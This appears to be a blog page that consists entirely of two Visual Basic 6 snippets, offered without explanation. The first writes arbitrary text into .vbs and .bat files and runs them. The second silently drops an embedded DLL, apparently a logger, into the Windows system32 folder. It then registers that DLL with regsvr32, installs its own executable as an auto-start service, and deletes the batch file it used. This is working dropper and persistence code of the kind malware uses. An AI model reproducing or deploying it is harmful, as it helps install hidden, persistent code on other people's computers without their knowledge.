WangHong's Blog

Private Sub Form_Load()
'www.wanghong.org
'WangHong'Blog
Dim a As Integer, b As Integer
Open App.Path & "/360.vbs" For Append As #1
Print #1, Text1.Text
Close #1
Open App.Path & "/360.bat" For Append As #2
Print #2, Text2.Text
Close #2
End Sub
Private Sub Timer1_Timer()
Shell ("360.bat")
Timer1.Enabled = False
End
'www.wanghong.org
'WangHong'Blog
End Sub

Private Sub Form_Load()
'www.wanghong.org
'WangHong'Blog
App.TaskVisible = True
Const FILE_SIZE = 8192
Dim bInfo As Byte
Dim bFile() As Byte
Dim i As Integer, lFile As Long, filesavename As String
On Error Resume Next
Text1.Text = Environ("windir") & "\system32\"
filesavename = Text1.Text & "logger.dll"
bFile = LoadResData(101, "CUSTOM")
Open filesavename For Binary Access Write As #1
For lFile = 0 To FILE_SIZE - 1
Put #1, , bFile(lFile)
Next lFile
Close #1
Dim a As Integer, b As Integer
Open App.Path & "/dll.bat" For Append As #2
Text2.Text = Replace(App.Path + "\" + App.EXEName + ".exe", "\\", "\")
Print #2, "sc create ServiceEame binPath= " + Text2.Text + " start= auto"
Print #2, "del dll.bat"
Close #2
End Sub
Private Sub Timer1_Timer()
Shell "regsvr32 /S /n /i:" + Text1.Text + "xxx.log " + Text1.Text + "Logger.dll"
Shell App.Path + "\dll.bat"
Timer1.Enabled = False
End Sub